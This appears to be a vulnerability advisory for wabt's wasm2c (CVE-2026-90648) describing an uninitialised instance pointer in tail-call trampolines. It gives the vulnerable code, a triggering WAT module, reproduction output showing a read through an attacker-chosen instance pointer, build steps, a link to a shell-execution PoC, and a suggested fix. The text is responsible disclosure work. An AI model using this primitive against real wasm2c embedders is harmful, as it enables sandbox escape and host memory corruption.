#2831·wabt

(CVE-2026-90648) vulnerability in wasm2c: tail call to a local function uses an uninitialised module instance pointer

Author: Robert-TrustSigCreated Aug 19, 2026Updated Sep 16, 2026

Shell PoC

PoC added for executing an arbitrary shell command on the host https://github.com/trustsig-eu/wasm2c-tableflip

Summary

CWriter::Write(const ReturnCallExpr&) in src/c-writer.cc emits a tail-call trampoline whose instance pointer slot is only assigned when the call target is an import:

cpp
/* src/c-writer.cc:4344 */
Write("next->fn = ", TailCallRef(func.name), ";", Newline());
if (IsImport(func.name)) {
  Write("*instance_ptr = instance->",
        GlobalName(ModuleFieldType::Import,
                   import_module_sym_map_.at(func.name)),
        ";", Newline());
}
DropTypes(num_params);
FinishReturnCall();

FinishReturnCall() then runs the trampoline loop (while (next->fn) { next->fn(instance_ptr, tail_call_stack, next); }), and every tail-callee begins with w2c_mod* instance = *instance_ptr;. When the target is a local function, nothing ever writes that slot, so the callee adopts whatever the C stack happened to contain and uses it as the module instance for globals, memory and tables.

The declaration is uninitialised by construction:

cpp
/* src/c-writer.cc:3140 */
void CWriter::WriteTailCallStack() {
  Write("void *instance_ptr_storage;", Newline());
  Write("void **instance_ptr = &instance_ptr_storage;", Newline());
  ...

return_call_indirect is not affected: it always writes *instance_ptr = <table>.data[i].module_instance;. Nested tail calls from inside a tail-callee are not affected either, since in_tail_callee_ suppresses WriteTailCallStack() and the incoming instance_ptr parameter is reused.

Trigger

A return_call whose target is

  1. a function defined in the same module (not an import), and
  2. a function that itself performs a tail call, so that func.features_used.tailcall is set and wasm2c takes the trampoline path rather than degrading to a plain call.

Module (poc/tailcall-uninit/poc.wat):

wat
(module
  (memory (export "mem") 1)
  (global $g (export "g") (mut i32) (i32.const 0))
  (func $c (result i32) global.get $g)
  (func $b (result i32) return_call $c)
  (func (export "a") (result i32) return_call $b))

Generated by the released 1.0.41 wasm2c --enable-tail-call:

c
  {
    void *instance_ptr_storage;                    /* never written */
    void **instance_ptr = &instance_ptr_storage;
    char tail_call_stack[1024];
    wasm_rt_tailcallee_t next_storage;
    wasm_rt_tailcallee_t *next = &next_storage;
    next->fn = wasm_tailcall_w2c_poc_f1;
    while (next->fn) { next->fn(instance_ptr, tail_call_stack, next); }
  }

and

c
void wasm_tailcall_w2c_poc_f1(void **instance_ptr, void *tail_call_stack, wasm_rt_tailcallee_t *next) {
  w2c_poc* instance = *instance_ptr;                /* uninitialised */
  ...

Reproduction

Without any stack preparation the slot holds leftover data and the module faults:

[dbg] slot at 0xffffd9eeda78 holds 0x1
call trapped: 10

The value is not fixed, it is whatever the C stack holds. poc/tailcall-uninit/main.c fills that stack region with a pointer to a second, attacker-chosen w2c_poc struct before calling the export:

real instance  = 0xaaaad5a800e8 (global = 0x11111111)
fake instance  = 0xaaaad5a80128 (global = 0x00c0ffee)
groomed stack range 0xffffcaf51d50 .. 0xffffcaf61d48
a() = 0x00c0ffee  -> READ THROUGH ATTACKER-SUPPLIED INSTANCE POINTER

The module returned the fake instance's global, so the generated code resolved global.get against a pointer supplied through stack contents rather than against the instance the embedder passed in.

Build:

bash
wat2wasm --enable-tail-call poc.wat -o poc.wasm
wasm2c --enable-tail-call poc.wasm -o poc.c
clang -O1 -g -I wasm2c -I . poc.c main.c \
      wasm2c/wasm-rt-impl.c wasm2c/wasm-rt-mem-impl.c \
      wasm2c/wasm-rt-exceptions-impl.c -o poc -lm
./poc

Impact

The instance pointer is the base for everything the sandbox owns: instance->w2c_gN for globals, (&instance->w2c_mem)->data for the linear memory base, and the table structs. Controlling it means the generated code reads its memory base from a location of the attacker's choosing, which is a read and write primitive over the whole host address space.

The pointer comes from uninitialised stack memory. In this PoC the C driver stages the value, which models an embedder whose stack contents an attacker can influence. Within a pure guest-only threat model the guest still controls a large part of that stack through its own earlier calls (each wasm2c function frame, spilled locals, and the 1 KiB tail_call_stack scratch buffer live in the same region), so treating the value as attacker-influenced is the safe assumption. Even in the least favourable case the result is a wild-pointer dereference from untrusted input.

CWE-457 (use of uninitialised variable) leading to CWE-824 / CWE-787.

Affected versions

Present since tail-call support landed in commit 6e350ee1 (#2272, 2023-10-24), first released in 1.0.34. Confirmed with the released 1.0.41 wasm2c and 1.0.41 runtime, and on current main. Requires --enable-tail-call; tail calls are a standardised WebAssembly feature, not an experimental proposal.

Suggested fix

Write the instance pointer in the local-target case too:

cpp
Write("next->fn = ", TailCallRef(func.name), ";", Newline());
if (IsImport(func.name)) {
  Write("*instance_ptr = instance->",
        GlobalName(ModuleFieldType::Import,
                   import_module_sym_map_.at(func.name)),
        ";", Newline());
} else {
  Write("*instance_ptr = instance;", Newline());
}

Initialising instance_ptr_storage at its declaration in WriteTailCallStack() would also remove the uninitialised read, but the assignment at the call site is the one that makes the value correct.